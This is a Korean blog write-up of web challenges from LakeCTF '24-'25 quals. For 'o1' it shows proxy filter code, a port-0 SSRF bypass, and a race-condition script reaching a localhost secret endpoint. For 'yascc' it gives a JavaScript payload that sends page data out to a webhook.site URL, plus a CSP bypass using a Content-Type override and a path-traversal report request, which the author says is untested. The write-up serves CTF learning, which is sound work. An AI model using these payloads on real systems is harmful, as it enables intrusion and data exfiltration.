Hacking/CTF

LakeCTF '24-'25 Quals

kangjiw0n1209 2024. 12. 9. 08:28

our team name was stolen

'our team name was stolen' 팀으로 Academic 부문 예선에서 10위를 기록하며 본선 진출에 성공했습니다.

평소에 풀던 웹 문제와는 달리 게싱적인 요소가 많아 어려움을 느꼈던 대회입니다 .. ㅠㅠ
웹 문제 전체 Write-Up을 작성하면 도움이 될 것 같아, 한 번 블로그에 정리해보려고 합니다.

o1

이 문제는 3단 프록시로 구성되어 있으며, 각 프록시별 필터를 우회해 SSRF를 트리거하는 방식으로 접근해야 했습니다. 최종적으로는 9222 포트에 위치한 /secret 엔드포인트에 localhost로 접속하는 것이 목표였습니다.
1단계 필터
def proxy():
    url = request.args.get('url', '')
    if not url:
        return 'Missing url parameter', 400

    # Replace backslashes with slashes
    url = url.replace('\\', '/')
    print(url, flush=True)
    parsed = urllib.parse.urlparse(url)
    print(parsed, flush=True)

    # Check for valid protocol
    if parsed.scheme not in ['http', 'https']:
        return 'invalid protocol', 400

    # Check for custom port
    if parsed.port:
        return 'no custom port allowed', 400
2단계 필터
def proxy():
    data = request.get_json()
    if not data or 'url' not in data:
        return 'Missing url parameter', 400

    url = data['url']
    parsed = urllib.parse.urlparse(url)
    scheme = parsed.scheme
    hostname = parsed.hostname
    port = parsed.port

    # Determine the port if not explicitly specified
    if port is None:
        try:
            port = socket.getservbyname(scheme)
        except:
            return 'Invalid scheme', 400

    # Validate the target domain based on the port
    if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
        return 'invalid target domain!', 400

1번째와 2번째 필터는 모두 포트 검사를 수행하고 있으며, 이를 우회하는 것이 문제 해결의 핵심인 것으로 보입니다.

 

if parsed.port:
    return 'no custom port allowed', 400

이 부분에서는 port가 0일 경우 항상 false로 처리되므로 이를 이용해 필터를 우회할 수 있습니다.

 

if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
    return 'invalid target domain!', 400

이 부분에서는 포트가 443 또는 80일 때만 확인하도록 되어 있으므로, 포트를 0으로 설정하면 두 조건을 모두 우회할 수 있습니다.

 

iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80

그리고 위 iptables 설정으로 포트 0으로 설정된 요청을 정상적인 HTTP 요청으로 처리할 수 있게 했습니다.

 

Payload

curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<your-server>:0"

 

해당 문제는 socket.getservbyname()로 인해 Race Condition을 이용해 해결할 수도 있습니다.

https://github.com/python/cpython/issues/74667#issuecomment-1093749466

 

socket.getservbyname(), socket.getservbyport(), socket.getprotobyname() are not threadsafe · Issue #74667 · python/cpython

BPO 30482 Nosy @pitrou, @vstinner, @njsmith, @dwfreed Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state. Show more details GitHub...

github.com

Payload

import aiohttp
import asyncio

async def req_example():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=https://example.com"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            await response.text()

async def req_secret():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=http:/localhost:9222/secret"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            print(await response.text())

loop = asyncio.get_event_loop()
while True:
    loop.run_until_complete(asyncio.gather(req_example(), req_secret()))

yascc

if(!error){
    res.header("content-type", query.contentType)
}

위 코드를 통해 사용자는 Content-Type 헤더를 자유롭게 조작할 수 있으며, 예를 들어 text/javascript로 변경하여 다음과 같은 post를 작성할 수 있습니다.

(async () => {let x = await fetch("/api/posts/1/body").then(res => res.text()); window.location="https://webhook.site/x/"+btoa(x)%7D)()

위 자바스크립트 코드를 실행하기 위해서는 다음과 같이 post를 작성하면 됩니다. CSP 헤더를 확인해보면 default-src가 self로 설정되어 있어 동일 출처에서만 리소스를 허용하기 때문에 실행이 가능합니다.

<script src="/api/posts/1750/body?contentType=application/javascript"></script>

 

Final Payload

 curl -X POST "https://challs.polygl0ts.ch:8333/posts/1%2F..%2F..%2Fapi%2Fposts%2F<id>%2Fbody/report"

( 아직 실제로 익스플로잇을 시도해보지 않았으므로, 로컬 환경에서 테스트를 진행해볼 예정입니다. )